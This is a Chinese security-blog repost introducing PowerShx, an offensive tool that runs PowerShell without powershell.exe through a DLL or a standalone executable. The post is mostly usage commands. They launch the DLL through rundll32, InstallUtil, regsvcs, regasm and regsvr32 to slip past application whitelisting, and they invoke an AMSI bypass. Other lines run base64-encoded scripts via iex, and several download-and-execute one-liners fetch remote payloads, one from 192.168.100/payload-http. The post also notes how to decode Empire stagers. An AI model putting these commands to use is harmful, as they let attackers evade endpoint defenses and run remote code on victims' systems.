神兵利器 - PowerShx 不受软件限制运行Powershell

admin 2021年10月15日10:35:41评论88 views字数 2336阅读7分47秒阅读模式


        使用 DLL 或独立可执行文件的非托管 PowerShell 执行。


神兵利器 - PowerShx 不受软件限制运行Powershell



        PowerShx 是对PowerShdll项目的重写和扩展PowerShx 提供绕过 AMSI 和运行 PS Cmdlet 的功能。


特征

  • 使用 rundll32.exe、installutil.exe、regsvcs.exe 或 regasm.exe、regsvr32.exe 运行带有 DLL 的 Powershell。

  • 在没有 powershell.exe 或 powershell_ise.exe 的情况下运行 Powershell

  • AMSI 旁路功能。

  • 直接从命令行或 Powershell 文件运行 Powershell 脚本

  • 导入 Powershell 模块并执行 Powershell Cmdlets。

用法

运行dll32


rundll32 PowerShx.dll,main -e                           <PS script to run>rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argumentrundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w                           Start an interactive console in a new windowrundll32 PowerShx.dll,main -i                           Start an interactive consolerundll32 PowerShx.dll,main -s                           Attempt to bypass AMSIrundll32 PowerShx.dll,main -v                           Print Execution Output to the console


替代


1.     x86 - C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll    x64 - C:WindowsMicrosoft.NETFramework64v4.0.3031964InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2.     x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe PowerShx.dll    x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regsvcs.exe PowerShx.dll3.     x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U PowerShx.dll    x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U PowerShx.dll4.     regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer    regsvr32 /s PowerShx.dll --> Calls DllRegisterServer


exe 版本


PowerShx.exe -i                          Start an interactive consolePowerShx.exe -e                          <PS script to run>PowerShx.exe -f <path>                   Run the script passed as argumentPowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdletPowerShx.exe -s                          Attempt to bypass AMSI.


嵌入式有效载荷


       可以通过更新“Common”项目中的数据字典“Common.Payloads.PayloadDict”并在方法 PsSession.cs -> Handle() 中调用它来嵌入有效负载。示例:在 Handle() 方法中:


private void Handle(Options options){  // Pre-execution before user script  _ps.Exe(Payloads.PayloadDict["amsi"]);}


例子


运行 base64 编码的脚本


rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex


注意:Empire stagers 需要使用 [System.Text.Encoding]::Unicode 解码


运行 base64 编码的脚本


rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"


项目地址:


aHR0cHM6Ly9naXRodWIuY29tL2lvbW9hdGgvUG93ZXJTaHg=

原文始发于微信公众号(Khan安全攻防实验室):神兵利器 - PowerShx 不受软件限制运行Powershell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月15日10:35:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   神兵利器 - PowerShx 不受软件限制运行Powershellhttps://cn-sec.com/archives/583347.html

发表评论

匿名网友 填写信息